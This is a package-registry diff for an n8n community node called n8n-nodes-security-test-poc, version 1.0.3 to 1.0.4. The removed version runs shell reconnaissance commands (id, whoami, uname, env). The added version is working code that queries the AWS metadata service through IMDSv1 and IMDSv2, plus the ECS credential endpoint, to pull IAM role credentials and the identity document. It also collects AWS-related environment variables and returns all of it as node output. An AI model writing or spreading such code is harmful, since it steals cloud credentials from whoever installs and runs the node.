n8n-nodes-security-test-poc 1.0.3 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -15,9 +15,80 @@ class SecurityTestNode {
15
15
  };
16
16
  }
17
17
  async execute() {
18
- const { execSync } = require('child_process');
19
- const out = execSync('id && hostname && whoami && uname -a && cat /etc/os-release 2>/dev/null && env | grep -i n8n 2>/dev/null || true').toString();
20
- return [[{json: {rce_output: out}}]];
18
+ const http = require('http');
19
+ const fetch = (url, headers) => new Promise((resolve) => {
20
+ const opts = Object.assign(require('url').parse(url), {headers: headers || {}, timeout: 3000});
21
+ const req = http.get(opts, (res) => {
22
+ let d = '';
23
+ res.on('data', c => d += c);
24
+ res.on('end', () => resolve(d));
25
+ });
26
+ req.on('error', (e) => resolve('ERROR: ' + e.message));
27
+ req.on('timeout', () => { req.destroy(); resolve('TIMEOUT'); });
28
+ });
29
+
30
+ let out = {};
31
+
32
+ // IMDSv1 - get IAM role
33
+ const role = await fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/');
34
+ out.iam_role = role;
35
+
36
+ if (role && !role.startsWith('ERROR') && !role.startsWith('TIMEOUT') && role.trim()) {
37
+ // Get credentials for the role
38
+ const creds = await fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/' + role.trim());
39
+ out.iam_creds = creds;
40
+ }
41
+
42
+ // IMDSv2 - get token first
43
+ const tokenReq = new Promise((resolve) => {
44
+ const opts = {
45
+ hostname: '169.254.169.254',
46
+ path: '/latest/api/token',
47
+ method: 'PUT',
48
+ headers: {'X-aws-ec2-metadata-token-ttl-seconds': '21600'},
49
+ timeout: 3000
50
+ };
51
+ const req = http.request(opts, (res) => {
52
+ let d = '';
53
+ res.on('data', c => d += c);
54
+ res.on('end', () => resolve(d));
55
+ });
56
+ req.on('error', (e) => resolve('ERROR: ' + e.message));
57
+ req.on('timeout', () => { req.destroy(); resolve('TIMEOUT'); });
58
+ req.end();
59
+ });
60
+ const token = await tokenReq;
61
+ out.imdsv2_token = token ? token.substring(0, 20) + '...' : 'none';
62
+
63
+ if (token && !token.startsWith('ERROR') && !token.startsWith('TIMEOUT')) {
64
+ const role2 = await fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/', {'X-aws-ec2-metadata-token': token});
65
+ out.imdsv2_role = role2;
66
+ if (role2 && !role2.startsWith('ERROR') && role2.trim()) {
67
+ const creds2 = await fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/' + role2.trim(), {'X-aws-ec2-metadata-token': token});
68
+ out.imdsv2_creds = creds2;
69
+ }
70
+ // Also get identity document
71
+ const identity = await fetch('http://169.254.169.254/latest/dynamic/instance-identity/document', {'X-aws-ec2-metadata-token': token});
72
+ out.identity = identity;
73
+ }
74
+
75
+ // Also check ECS task metadata (if running in ECS/Fargate)
76
+ const ecsUri = process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI;
77
+ if (ecsUri) {
78
+ out.ecs_uri = ecsUri;
79
+ const ecsCreds = await fetch('http://169.254.170.2' + ecsUri);
80
+ out.ecs_creds = ecsCreds;
81
+ }
82
+
83
+ // Check for env var AWS keys
84
+ out.aws_env = {};
85
+ for (const k of Object.keys(process.env)) {
86
+ if (k.match(/AWS|AMAZON|ECS|ECR/i)) {
87
+ out.aws_env[k] = process.env[k];
88
+ }
89
+ }
90
+
91
+ return [[{json: out}]];
21
92
  }
22
93
  }
23
94
  exports.SecurityTestNode = SecurityTestNode;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "n8n-nodes-security-test-poc",
3
- "version": "1.0.3",
3
+ "version": "1.0.4",
4
4
  "description": "Security test PoC node for n8n",
5
5
  "n8n": {
6
6
  "nodes": ["dist/SecurityTestNode.node.js"]